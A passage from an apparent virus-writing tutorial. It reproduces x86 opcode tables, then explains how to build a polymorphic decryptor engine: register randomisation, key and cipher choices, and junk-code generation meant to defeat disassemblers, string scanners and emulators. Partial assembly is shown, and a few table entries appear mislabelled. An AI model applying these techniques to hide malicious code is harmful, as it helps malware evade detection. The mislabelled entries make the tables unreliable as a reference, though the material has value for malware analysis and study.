      (reffer to abbreviations below)

        2.  The  Two-Byte  Opcode  table.  This  table looks exactly like the
 precedent,  but the opcode for the instruction is formed from two bytes: the
 first  one  is  0Fh  (escape), and the second is formed from the row and the
 column.

        3. The Groups. This is a 8*8 table filled with instructions that have
 the  actual  opcode  on  the second byte in the place where normally the REG
 field is in the ModR/M byte.

        Note:  both  tables  1  and  2 are 'broke' in two so they can fit the
 page.  A  good idea is to print out the tables and stick the pages to make a
 big table. This will allow you to create your own personal codification.

        Let's check the abreviations and the tables first:

 Key to Abbreviations
 ====================

        Operands  are  identified by a two-character code of the form Zz. The
 first  character,  an uppercase letter, specifies the addressing method; the
 second character, a lowercase letter, specifies the type of operand.


 Codes for Addressing Method
 ===========================

        A  Direct address; the instruction has no modR/M byte; the address of
           the operand is encoded in the instruction; no base register, index
           register, or scaling factor can be applied; e.g., far JMP (EA).

        C  The reg field of the modR/M byte selects a control register; e.g.,
           MOV (0F20, 0F22).

        D  The  reg  field of the modR/M byte selects a debug register; e.g.,
           MOV (0F21,0F23).

        E  A  modR/M  byte  follows the opcode and specifies the operand. The
           operand is either a general register or a memory address. If it is
           a  memory address, the address is computed from a segment register
           and  any  of  the  following  values:  a  base  register, an index
           register, a scaling factor, a displacement.

        F Flags Register.

        G  The reg field of the modR/M byte selects a general register; e.g.,
           ADD (00).

        I  Immediate  data. The value of the operand is encoded in subsequent
           bytes of the instruction.

        J  The  instruction  contains  a  relative  offset to be added to the
           instruction pointer register; e.g., JMP short, LOOP.

        M  The  modR/M  byte may refer only to memory; e.g., BOUND, LES, LDS,
           LSS, LFS, LGS.

        O  The  instruction  has no modR/M byte; the offset of the operand is
           coded  as  a  word  or  double  word  (depending  on  address size
           attribute)  in  the instruction. No base register, index register,
           or scaling factor can be applied; e.g., MOV (A0-A3).

        R  The  mod  field  of  the  modR/M  byte may refer only to a general
           register; e.g., MOV (0F20-0F24, 0F26).

        S  The reg field of the modR/M byte selects a segment register; e.g.,
           MOV (8C,8E).

        T The reg field of the modR/M byte selects a test register; e.g., MOV
           (0F24,0F26).

        X Memory addressed by DS:SI; e.g., MOVS, COMPS, OUTS, LODS, SCAS.

        Y Memory addressed by ES:DI; e.g., MOVS, CMPS, INS, STOS.


 Codes for Operant Type
 ======================

        a  Two  one-word  operands  in  memory or two double-word operands in
           memory, depending on operand size attribute (used only by BOUND).

        b Byte (regardless of operand size attribute)

        c Byte or word, depending on operand size attribute.

        d Double word (regardless of operand size attribute)

        p 32-bit or 48-bit pointer, depending on operand size attribute.

        s Six-byte pseudo-descriptor

        v Word or double word, depending on operand size attribute.

        w Word (regardless of operand size attribute)


 Register Codes
 ==============

        When  an  operand  is  a specific register encoded in the opcode, the
 register  is  identified  by its name; e.g., AX, CL, or ESI. The name of the
 register  indicates  whether  the  register  is  32-, 16-, or 8-bits wide. A
 register  identifier  of the form eXX is used when the width of the register
 depends  on  the operand size attribute; for example, eAX indicates that the
 AX  register  is  used  when  the  operand  size attribute is 16 and the EAX
 register is used when the operand size attribute is 32.


 One-Byte Opcode Map
 ===================

     0         1         2         3         4         5         6        7
 .---------------------------------------------------------------------------.
 |                            ADD                          |  PUSH  |   POP  |
0|---------------------------------------------------------|        |        |
 | Eb,Gb  | Ev,Gv  |  Gb,Eb  |  Gv,Ev  |  AL,Ib  | eAX,Iv  |   ES   |   ES   |
 |---------------------------------------------------------+--------+--------|
 |                            ADC                          |  PUSH  |   POP  |
1|---------------------------------------------------------|        |        |
 | Eb,Gb  | Ev,Gv  |  Gb,Eb  |  Gv,Ev  |  AL,Ib  | eAX,Iv  |   SS   |   SS   |
 |---------------------------------------------------------+--------+--------|
 |                            AND                          |  SEG   |        |
2|---------------------------------------------------------|        |   DAA  |
 | Eb,Gb  | Ev,Gv  |  Gb,Eb  |  Gv,Ev  |  AL,Ib  | eAX,Iv  |  =ES   |        |
 |---------------------------------------------------------+--------+--------|
 |                            XOR                          |  SEG   |        |
3|---------------------------------------------------------|        |   AAA  |
 | Eb,Gb  | Ev,Gv  |  Gb,Eb  |  Gv,Ev  |  AL,Ib  | eAX,Iv  |  =SS   |        |
 |---------------------------------------------------------------------------|
 |                             INC general register                          |
4|---------------------------------------------------------------------------|
 |  eAX   |  eCX   |   eDX   |   eBX   |   eSP   |   eBP   |  eSI   |  eDI   |
 |---------------------------------------------------------------------------|
 |                             PUSH general register                         |
5|---------------------------------------------------------------------------|
 |  eAX   |  eCX   |   eDX   |   eBX   |   eSP   |   eBP   |  eSI   |  eDI   |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |  BOUND  |  ARPL   |   SEG   |   SEG   | Operand| Address|
6| PUSHA  | POPA   |         |         |         |         |        |        |
 |        |        |  Gv,Ma  |  Ew,Rw  |   =FS   |   =GS   |  Size  |  Size  |
 |---------------------------------------------------------------------------|
 |                  Short displacement jump of condition (Jb)                |
7|---------------------------------------------------------------------------|
 |  JO    |  JNO   |   JB    |   JNB   |   JZ    |  JNZ    |   JBE  |  JNBE  |
 |-----------------+---------+---------+-------------------+-----------------|
 | Immediate Grp1  |         |  Grp1   |       TEST        |      XCHG       |
8|-----------------|         |         |-------------------+-----------------|
 | Eb,Ib  | Ev,Iv  |         |  Ev,Iv  |  Eb,Gb  |  Ev,Gv  |  Eb,Gb |  Ev,Gv |
 |--------+------------------------------------------------------------------|
 |        |             XCHG word or double-word register with eAX           |
9|  NOP   |------------------------------------------------------------------|
 |        |  eCX   |   eDX   |   eBX   |   eSP   |   eBP   |  eSI   |  eDI   |
 |-------------------------------------+---------+---------+--------+--------|
 |                MOV                  |  MOVSB  | MOVSW/D | CMPSB  |CMPSW/D |
A|-------------------------------------|         |         |        |        |
 | AL,Ob  | eAX,Ov |  Ob,AL  |  Ov,eAX |  Xb,Yb  |  Xv,Yv  |  Xb,Yb |  Xv,Yv |
 |---------------------------------------------------------------------------|
 |                     MOV immediate byte into byte register                 |
B|---------------------------------------------------------------------------|
 |   AL   |  CL    |   DL    |   BL    |   AH    |   CH    |   DH   |   BH   |
 |-----------------+-------------------+---------+---------+-----------------|
 |   Shift Grp2    |      RET near     |   LES   |   LDS   |       MOV       |
C|-----------------+-------------------|         |         |-----------------|
 | Eb,Ib  | Ev,Iv  |    Iw   |         |  Gv,Mp  |  Gv,Mp  |  Eb,Ib |  Ev,Iv |
 |-------------------------------------+---------+---------+--------+--------|
 |             Shift Grp2              |         |         |        |        |
D|-------------------------------------|   AAM   |   AAD   |        |  XLAT  |
 |  Eb,1  | Ev,1   |  Eb,CL  |  Ev,CL  |         |         |        |        |
 |--------+--------+---------+---------+-------------------+-----------------|
 | LOOPNE | LOOPE  |   LOOP  |  JCXZ   |        IN         |       OUT       |
E|        |        |         |         |-------------------+-----------------|
 |  Jb    |  Jb    |    Jb   |   Jb    |  AL,Ib  | eAX,Ib  |  Ib,AL | Ib,eAX |
 |--------+--------+---------+---------+---------+---------+-----------------|
 |        |        |         |   REP   |         |         |     Unary Grp3  |
F| LOCK   |        |  REPNE  |         |   HLT   |   CMC   |-----------------|
 |        |        |         |  REPE   |         |         |   Eb   |   Ev   |
 '---------------------------------------------------------------------------'


      8         9         A         B         C         D         E        F
 .---------------------------------------------------------------------------.
 |                           OR                            |  PUSH  | 2-byte |
0|---------------------------------------------------------|        |        |
 | Eb,Gb |  Ev,Gv  |  Gb,Eb  |  Gv,Ev  |  AL,Ib  | eAX,Iv  |   CS   | escape |
 |---------------------------------------------------------+--------+--------|
 |                          SBB                            |  PUSH  |  POP   |
1|---------------------------------------------------------|        |        |
 | Eb,Gb |  Ev,Gv  |  Gb,Eb  |  Gv,Ev  |  AL,Ib  | eAX,Iv  |   DS   |   DS   |
 |---------------------------------------------------------+--------+--------|
 |                          SUB                            |  SEG   |        |
2|---------------------------------------------------------|        |  DAS   |
 | Eb,Gb |  Ev,Gv  |  Gb,Eb  |  Gv,Ev  |  AL,Ib  | eAX,Iv  |  =CS   |        |
 |---------------------------------------------------------+--------+--------|
 |                          CMP                            |  SEG   |        |
3|---------------------------------------------------------|        |  AAS   |
 | Eb,Gb |  Ev,Gv  |  Gb,Eb  |  Gv,Ev  |  AL,Ib  | eAX,Iv  |  =CS   |        |
 |---------------------------------------------------------------------------|
 |                            DEC general register                           |
4|---------------------------------------------------------------------------|
 |  eAX  |   eCX   |   eDX   |   eBX   |   eSP   |   eBP   |   eSI  |  eDI   |
 |---------------------------------------------------------------------------|
 |                        POP into general register                          |
5|---------------------------------------------------------------------------|
 |  eAX  |   eCX   |   eDX   |   eBX   |   eSP   |   eBP   |  eSI   |  eDI   |
 |-------+---------+---------+---------+---------+---------+--------+--------|
 | PUSH  |  IMUL   |  PUSH   |  IMUL   |  INSB   | INSW/D  | OUTSB  |OUTSW/D |
6|       |         |         |         |         |         |        |        |
 |  Ib   | GvEvIv  |   Ib    | GvEvIv  |  Yb,DX  |  Yb,DX  | Dx,Xb  | DX,Xv  |
 |---------------------------------------------------------------------------|
 |                 Short-displacement jump on condition(Jb)                  |
7|---------------------------------------------------------------------------|
 |  JS   |   JNS   |   JP    |   JNP   |   JL    |  JNL    |  JLE   |  JNLE  |
 |-------------------------------------+---------+---------+--------+--------|
 |               MOV                   |   MOV   |   LEA   |  MOV   |  POP   |
8|-------------------------------------|         |         |        |        |
 | Eb,Gb |  Ev,Gv  |  Gb,Eb  |  Gv,Ev  |  Ew,Sw  |  Gv,M   |  Sw,Ew |   Ev   |
 |-------+---------+---------+---------+---------+---------+--------+--------|
 |       |         |  CALL   |         |  PUSHF  |  POPF   |        |        |
9|  CBW  |   CWD   |         |  WAIT   |         |         |  SAHF  |  LAHF  |
 |       |         |   Ap    |         |   Fv    |   Fv    |        |        |
 |-----------------+---------+---------+---------+---------+--------+--------|
 |      TEST       |  STOSB  | STOSW/D |  LODSB  | LODSW/D | SCASB  |SCASW/D |
A|-----------------|         |         |         |         |        |        |
 | AL,Ib | eAX,Iv  |  Yb,AL  |  Yv,eAX |  AL,Xb  | eAX,Xv  |  AL,Xb |eAX,Xv  |
 |---------------------------------------------------------------------------|
 |      MOV immediate word or double into word or double register            |
B|---------------------------------------------------------------------------|
 |  eAX  |   eCX   |   eDX   |   eBX   |   eSP   |   eBP   |   eSI  |  eDI   |
 |-------+---------+-------------------+---------+---------+--------+--------|
 | ENTER |         |      RET far      |  INT    |  INT    |        |        |
C|       |  LEAVE  |-------------------|         |         |  INTO  |  IRET  |
 | Iw,Ib |         |   Iw    |         |   3     |  Ib     |        |        |
 |---------------------------------------------------------------------------|
 |                                                                           |
D|                ESC(Escape to coprocessor instruction set)                 |
 |                                                                           |
 |---------------------------------------------------------------------------|
 |  CALL |             JNP             |        IN         |       OUT       |
E|       |-----------------------------+-------------------+-----------------|
 |   Av  |   Jv    |   Ap    |   Jb    |  AL,DX  | eAX,DX  | DX,AL  | DX,eAX |
 |-------+---------+---------+---------+---------+---------+--------+--------|
 |       |         |         |         |         |         |INC/DEC |Indirct |
F|  CLC  |   STC   |   CLI   |   STI   |   CLD   |   STD   |        |        |
 |       |         |         |         |         |         |  Grp4  |  Grp5  |
 '---------------------------------------------------------------------------'


 Two-Byte Opcode Map (first byte is 0FH)
 =======================================

      0         1         2         3         4         5         6        7
 .---------------------------------------------------------------------------.
 |        |        |   LAR   |   LSL   |         |         |        |        |
0|  Grp6  | Grp7   |         |         |         |         |  CLTS  |        |
 |        |        |  Gw,Ew  |  Gv,Ew  |         |         |        |        |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        |
1|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |   MOV  |  MOV   |   MOV   |   MOV   |   MOV   |         |   MOV  |        |
2|        |        |         |         |         |         |        |        |
 |  Cd,Rd | Dd,Rd  |  Rd,Cd  |  Rd,Dd  |  Td,Rd  |         |  Rd,Td |        |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        |
3|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        |
4|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        |
5|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        |
6|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        |
7|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        |
 |---------------------------------------------------------------------------|
 |                    Long-displacement jump on condition (Jv)               |
8|---------------------------------------------------------------------------|
 |   JO   |  JNO   |   JB    |   JNB   |   JZ    |   JNZ   |   JBE  |  JNBE  |
 |---------------------------------------------------------------------------|
 |                            Byte Set on condition (Eb)                     |
9|---------------------------------------------------------------------------|
 |  SETO  | SETNO  |  SETB   |  SETNB  |  SETZ   |  SETNZ  |  SETBE | SETNBE |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |  PUSH  |  POP   |         |   BT    |  SHLD   |  SHLD   |        |        |
A|        |        |         |         |         |         |        |        |
 |   FS   |  FS    |         |  Ev,Gv  | EvGvIb  | EvGvCL  |        |        |
 |--------+--------+---------+---------+---------+---------+-----------------|
 |        |        |   LSS   |   BTR   |   LFS   |   LGS   |      MOVZX      |
B|        |        |         |         |         |         |-----------------|
 |        |        |   Mp    |  Ev,Gv  |   Mp    |   Mp    | Gv,Eb  | Gv,Ew  |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        |
C|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        |
D|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        |
E|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        |
F|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        |
 '---------------------------------------------------------------------------'

      8         9         A         B         C         D        E        F
 .---------------------------------------------------------------------------.
 |        |        |         |         |         |         |        |        |
0|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        |
1|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        |
2|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        |
3|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        |
4|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        |
5|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        |
6|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        |
7|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        |
 |---------------------------------------------------------------------------|
 |               Long-displacement jump on condition (Jv)                    |
8|---------------------------------------------------------------------------|
 |   JS   |  JNS   |   JP    |   JNP   |   JL    |   JNL   |   JLE  |  JNLE  |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        |
9|  SETS  | SETNS  |  SETP   |  SETNP  |  SETL   |  SETNL  |  SETLE | SETNLE |
 |        |        |         |         |         |         |        |        |
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |  PUSH  |  POP   |         |   BTS   |  SHRD   |  SHRD   |        |  IMUL  |
A|        |        |         |         |         |         |        |        |
 |   GS   |  GS    |         |  Ev,Gv  | EvGvIb  | EvGvCL  |        | Gv,Ev  |
 |--------+--------+---------+---------+---------+---------+-----------------|
 |        |        |  Grp-8  |   BTC   |   BSF   |   BSR   |      MOVSX      |
B|        |        |         |         |         |         |-----------------|
 |        |        |  Ev,Ib  |  Ev,Gv  |  Gv,Ev  |  Gv,Ev  |  Gv,Eb   Gv,Ew  |
 |--------+--------+---------+---------+---------+---------+-----------------|
 |        |        |         |         |         |         |        |        |
C|        |        |         |         |         |         |        |        |
 |        |        |         |         |         |         |        |        | 
 |--------+--------+---------+---------+---------+---------+--------+--------|
 |        |        |         |         |         |         |        |        | 
D|        |        |         |         |         |         |        |        | 
 |        |        |         |         |         |         |        |        | 
 |--------+--------+---------+---------+---------+---------+--------+--------| 
 |        |        |         |         |         |         |        |        | 
E|        |        |         |         |         |         |        |        | 
 |        |        |         |         |         |         |        |        | 
 |--------+--------+---------+---------+---------+---------+--------+--------| 
 |        |        |         |         |         |         |        |        | 
F|        |        |         |         |         |         |        |        | 
 |        |        |         |         |         |         |        |        | 
 '---------------------------------------------------------------------------' 


 Opcodes determined by bits 5,4,3 of modR/M byte:
 ================================================

     G                       .-----------------------.
     r                       |  mod  |  nnn  |  R/M  |
     o                       '-----------------------'
     u
     p   000     001     010     011     100     101     110     111
      .---------------------------------------------------------------.
     1|  ADD  |  OR   |  ADC  |  SBB  |  AND  |  SUB  |  XOR  |  CMP  |
      |       |       |       |       |       |       |       |       |
      |-------+-------+-------+-------+-------+-------+-------+-------|
     2|  ROL  |  ROR  |  RCL  |  RCR  |  SHL  |  SHR  |       |  SAR  |
      |       |       |       |       |       |       |       |       |
      |-------+-------+-------+-------+-------+-------+-------+-------|
     3| TEST  |       |  NOT  |  NEG  |  MUL  | IMUL  |  DIV  | IDIV  |
      | Ib/Iv |       |       |       |AL/eAX |AL/eAX |AL/eAX |AL/eAX |
      |-------+-------+-------+-------+-------+-------+-------+-------|
     4|  INC  |  DEC  |       |       |       |       |       |       |
      |  Eb   |  Eb   |       |       |       |       |       |       |
      |-------+-------+-------+-------+-------+-------+-------+-------|
     5|  INC  |  DEC  | CALL  | CALL  |  JMP  |  JMP  | PUSH  |       |
      |  Ev   |  Ev   |  Ev   |  eP   |  Ev   |  Ep   |  Ev   |       |
      |-------+-------+-------+-------+-------+-------+-------+-------|
     6| SLDT  |  STR  | LLDT  |  LTR  | VERR  | VERW  |       |       |
      |  Ew   |  Ew   |  Ew   |  Ew   |  Ew   |  Ew   |       |       |
      |-------+-------+-------+-------+-------+-------+-------+-------|
     7| SGDT  | SIDT  | LGDT  | LIDT  | SMSW  |       | LMSW  |       |
      |  Ms   |  Ms   |  Ms   |   Ms  |  Ew   |       |  Ew   |       |
      |-------+-------+-------+-------+-------+-------+-------+-------|
     8|       |       |       |       |  BT   |  BTS  |  BTR  |  BTC  |
      |       |       |       |       |       |       |       |       |
      '---------------------------------------------------------------'


 Definition of Conditions
 ========================

 (For conditional instructions Jcond, and SETcond)
 This table below may be usefull in generating conditions:

 .--------------------------------------------------------------------------.
 |                                    | Instr.   |  Condition               |
 | Mnemonic  Meaning                  | Subcode  |  Tested                  |
 |------------------------------------+----------+--------------------------|
 | O         Overflow                 | 0000     |  OF = 1                  |
 |------------------------------------+----------+--------------------------|
 | NO        No overflow              | 0001     |  OF = 0                  |
 |------------------------------------+----------+--------------------------|
 | B         Below                    |          |                          |
 | NAE       Neither above nor equal  | 0010     |  CF = 1                  |
 |------------------------------------+----------+--------------------------|
 | NB        Not below                |          |                          |
 | AE       Above or equal            | 0011     |  CF = 0                  |
 |------------------------------------+----------+--------------------------|
 | E         Equal                    |          |                          |
 | Z         Zero                     | 0100     |  ZF = 1                  |
 |------------------------------------+----------+--------------------------|
 | NE        Not equal                |          |                          |
 | NZ        Not zero                 | 0101     |  ZF = 0                  |
 |------------------------------------+----------+--------------------------|
 | BE        Below or equal           |          |                          |
 | NA        Not above                | 0110     |  (CF or ZF) = 1          |
 |------------------------------------+----------+--------------------------|
 | NBE       Neither below nor equal  |          |                          |
 | NA        Above                    | 0111     |  (CF or ZF) = 0          |
 |------------------------------------+----------+--------------------------|
 | S         Sign                     | 1000     |  SF = 1                  |
 |------------------------------------+----------+--------------------------|
 | NS        No sign                  | 1001     |  SF = 0                  |
 |------------------------------------+----------+--------------------------|
 | P         Parity                   |          |                          |
 | PE        Parity even              | 1010     |  PF = 1                  |
 |------------------------------------+----------+--------------------------|
 | NP        No parity                |          |                          |
 | PO        Parity odd               | 1011     |  PF = 0                  |
 |------------------------------------+----------+--------------------------|
 | L         Less                     |          |                          |
 | NGE       Neither greater nor equal| 1100     |  (SF xor OF) = 1         |
 |------------------------------------+----------+--------------------------|
 | NL        Not less                 |          |                          |
 | GE        Greater or equal         | 1101     |  (SF xor OF) = 0         |
 |------------------------------------+----------+--------------------------|
 | LE        Less or equal            |          |                          |
 | NG        Not greater              | 1110     |  ((SF xor OF) or ZF) = 1 |
 |------------------------------------+----------+--------------------------|
 | NLE       Neither less nor equal   |          |                          |
 | G         Greater                  | 1111     |  ((SF xor OF) or ZF) = 0 |
 '--------------------------------------------------------------------------'

 Note:  The  terms  "above"  and  "below"  refer  to the relation between two
 unsigned  values  (neither  SF  nor  OF  is tested). The terms "greater" and
 "less"  refer  to  the  relation  between  two  signed values (SF and OF are
 tested).

                         .-------------------------.
-------------------------|         PART II         |--------------------------
                         '-------------------------'

-------------------------[  creating instructions  ]--------------------------


        Ok,  I  know what you are feeling right now... Probably nausea... And
 probably  your  thought  is to format the drive this tutorial is on. But the
 wolf  is  not that bad! (not that I ever met a wolf for that matter...;-). I
 know  these tables look like shit and probably besides the instruction names
 nothing  makes much sense... but, as I said, you should have these tables on
 a  big  paper along with the abbreviations legenda. Then, start looking over
 it.  Soon you'll start too see patterns... And that is the time you start to
 make your own encodings.

        First let's set the goals and check the depth of the analisis we must
 obtain:

       1. Complexity: -----> bigger  ----> more instruction types
                      |              |---> privileged instructions
                      |              |---> FPU instructions
                      |              '---> larger decryptors
                      '----> smaller ----> less instruction types
                                     |---> less privileged instructions
                                     |---> no FPU instructions
                                     '---> shorter decryptors

       2. Quickness:  -----> bigger  ----> shorter decryptors
                      |              |---> no FPU instructions
                      |              '---> Less loops and cycles
                      '----> smaller ----> huge decryptors
                                     |---> many FPU instructions
                                     '---> many loops and cycles


        Here  the  choice is for the author and it depends on how much amount
 of  work  is  he willing to give, the time he has, etc. Personally, I prefer
 the  most  complex decryptor and the most slow one. This creates an "already
 there"   armour   agains  disasembling  freaks,  string  scanners  and  code
 emulators.  This  let's  you  leave the real armour in the second protection
 layer  (in  a  second  level  decryptor),  because armours tend to be easily
 string scannable as they represent sets of well defined instructions. That's
 why  I  like  the  decryptors armoured by themselves, not using easy to find
 tricks.

        Which brings me finaly to the word that really means polymorphism:

                               G A R B A G E

        As  much disgusting as it sounds, the garbage (sometimes called junk)
 is  the  heart  of the polymorphic decryptor. The simplest decryptor and the
 crappiest  encryption  can  be  hidden  like an elephant in a cherry tree...
 cause  the elephant got red little eyes, you know...;-) We will mainly speak
 about  the  garbage  as  it's  presence is very important in the polymorphic
 decryptor.

        Anyhow,  before  starting to do garbage (;-), let us take a look at a
 common skeleton of a poly engine:

             .------------.
             | Poly entry |
             '------------'
             .-v----------------------------.
             |  Choosing random registers   |
             |------------------------------|
             |  Choosing random values      |
             |------------------------------|
             |  Generate garbage          >-+------------------------.
             |---------------------------------------.               |
             |  Mainloop                             |               |
             |        .------------------------------|               |
        .----+--------+-< Generate real instruction  |               |
        |    |        |------------------------------|               |
        |    |        |   Generate garbage         >-+---------------|
        |    |        '------------------------------|               |
        |    |  Loop Mainloop                        |               |
        |    |---------------------------------------'               |
        |    |  Generate garbage          >-+------------------------|
        |    '------------------------------'                        |
        |    .-v---------.                                           |
        |    | Poly exit |                                           |
        |    '-----------'                                           |
        |    .------------------------------.                        |
        '--->|  Instruction generator       |                        |
             '------------------------------'                        |
             .------------------------------.                        |
             |  Garbage generator           |<-----------------------'
             '------------------------------'



        So, basically we have the following routines:

                * random register chooser
                * random values chooser
                * instruction generator
                * garbage generator


<----------------------------------------------------- Random register chooser

        Ok,  so  your  poly  engine's  goal  is  to create a decryptor before
 everything. This general decryptor can be shown by this diagram:

    .-----------------------------------------------------------------------.
    |   Load Key Register with key value                                    |
  I |   Load Pointer Register with an address to the code to decrypt        |
    |   Load Length Register with the code length                           |
    |-----------------------------------------------------------------------|
    | Decrypt_Loop:                                                         |
    |   Load Code Register with byte/word/dword to decrypt                  |
    |   Apply Decrypt Operation over Code Register with Key Register        |
    |   Store Code Register at the pointer held by Pointer Register         |
 II |   Apply or not math operation over the Key Register                   |
    |   Increment Pointer Register                                          |
    |   Loop decrementing Length Register until it equals 0 to Decrypt_Loop |
    |   Jump to decrypted code                                              |
    '-----------------------------------------------------------------------'


        You see I divided the decryptor in 2 parts:

        (I)  The  loading  of  the  used register. It is very important for a
 poly engine to properly fill the instructions here and to make them as small
 as  possible;  you  should  avoid  the use of a delta handle register or any
 other tricks; the addressing should be direct (e.g. mov preg, 1234h).

        (II) The decryptor loop

        So, mainly we need to operate with 4 registers:

                ù Key register      (kreg)
                ù Pointer register  (preg)
                ù Code register     (creg)
                ù Length register   (lreg)

        NOTE: you may choose not to use registers instead of the key register
 and pointer register. Instead you may use an immediate value for the key and
 an  immediate  addressing  mode  for  the pointer, incrementing directly the
 immediate  values.  Also,  the code register may be skipped, by applying the
 decryption  math operation directly on the code. However in this tute I will
 make use of all the registers.

        As I said I will try to explain the 32 bit poly ways, I will consider
 a poly engine generating 32 bit code. In this way we can use any register to
 address  code:  [EAX],  [ECX],  etc.,  not like in 16 bit where you had less
 possibilities, like [DI], [BX+DI], etc.

        Let's check a way to choose random registers.
        NOTE: I will call "brandom32" a procedure that expects a value in EAX
 and returns a random value between 0 and original EAX-1.

        The idea behind this procedure is to put the codes for the registers,
 first  being  the  really  used  registers  and the rest, the junk (garbage)
 registers.  After  that,  the procedure should scramble them by exchanging 2
 between them several times:

        used_registers:
        kreg db 0
        preg db 1
        creg db 2
        lreg db 3
        jrg1 db 5
        jrg2 db 6
        jrg3 db 7

        Choose_random_regs proc near  ;
        lea edi, used_registers       ; point to registers
        lea esi, used_registers       ; point to registers
        mov edx, esi                  ; save position
        mov ecx, 50h                  ; scramble 50h times
        mangle:                       ;
            mov eax, 8                ;
            call brandom32            ; choose a random nr. between 0-7
            mov ebx, eax              ; in EBX
            mov eax, 8                ;
            call brandom32            ; choose a random nr. between 0-7
            cmp ebx, eax              ; in EAX
            je mangle                 ; if EAX=EBX choose again
            add edi, eax              ; increment first pointer
            add esi, ebx              ; increment second pointer
            mov al, byte ptr [edi]    ; and exchange the values
            xchg byte ptr [esi], al   ; between them
            mov byte ptr [edi], al    ;
            mov edi, edx              ; restore position
            mov esi, edx              ;
            loop mangle               ; and do it 50h times
            ret                       ;
        Choose_random_regs endp       ;

        After  this  we  can  use  the  registers  being  sure that they were
 randomly  choosed. Taking into account that the codes are aligned like this:
 xxxxxNNN,  to  fill  the proper ModR/M register you need to clear the ModR/M
 byte. Look below at the 'instruction generator'.


<------------------------------------------------------- Random values chooser

        It is very important for the poly engine to choose many random values
 and  fill the real instructions with them.

        The  most common random value used is the encryption key. In order to
 have a strong key you must follow some rules, like:

        * Don't have a key zero padded at the beginning (like 00158A45h)
        * Don't have simetric keys (like ABCDDCBAh)

        Also,  another  common  random  value is the key 'increment'. I quote
 increment  because  you  mustn't always use the increasing/decreasing of the
 key.  You  may choose any kind of reversible math operation. In my MOF32 the
 key changes every iteration with any of the XOR, ADD and SUB operations.

        The  last  but not the least important random value is the encryption
 operation. My 32bit poly engine uses 3 encryption operations:

        1) the no key operation: applys a ROR/ROL over the code
        2) two code operation: applys XOR/ADD/SUB over the code with the next
           code (dword)
        3) key operation: applys XOR/ADD/SUB over the code with the key

        The  many  math  operation  you make, the stronger the encryption is.
 However  you  mustn't  raise  the  complexity of the decryptor itself. Other
 interesting operations to apply are NOT, NEG, XCHG.


<------------------------------------------------------- Instruction generator

        Ok,  now it's the time to generate our decryptor's instructions. This
 is  a  procedure which is called in the mainloop and so, we need to keep the
 counter.  The  counter  shows  us which instruction must we generate in this
 iteration. Let's see how do I propose to declare the decryptor:

        decryptor:
        i1:     <instruction 1>
                db 0FEh
        i2      <instruction 2>
                db 0FEh
        ...
        ...
        in      <instruction n>
                db 0FEh

        So,  we  have  each  instruction of the decryptor declared, of course
 with  a  simple  set  of  registers,  but  BEWARE:  don't use EAX or AX when
 declaring  the  decryptor  because  for those the opcodes are different. For
 example:

        we define                |      will actually become
        -------------------------+--------------------------
        mov ebx, [ebx]           |      mov creg, [preg]
        mov ebx, 0               |      mov kreg, keyvalue
        etc...                   |


        So,  you  understand:  you  define  the instructions and the compiler
 actually  computes  the  correct  opcodes  for  you  and  puts   them there.
 Nowallyou  have to do is copy each instruction and fill in the proper values
 or registers.

        You  have  two choices here: one is to fill the decryptor there where
 it's  declared  and then copy it to the destination, or you may copy byte by
 byte  and  fill  directly  to  the destination.  I think the first method is
 quicker.  You  need  to have a pointer, let's say ESI pointing the decryptor
 bytes.  In  order  to  have  things really simple, if your decryptor has few
 instructions  (MOF32  uses  a  12 instructions decryptor), you may choose to
 make  a  "case"  in  your  instructions  generator  routine  and  take  each
 instruction by hand, like this:

        cmp ecx, 1
        je ins1
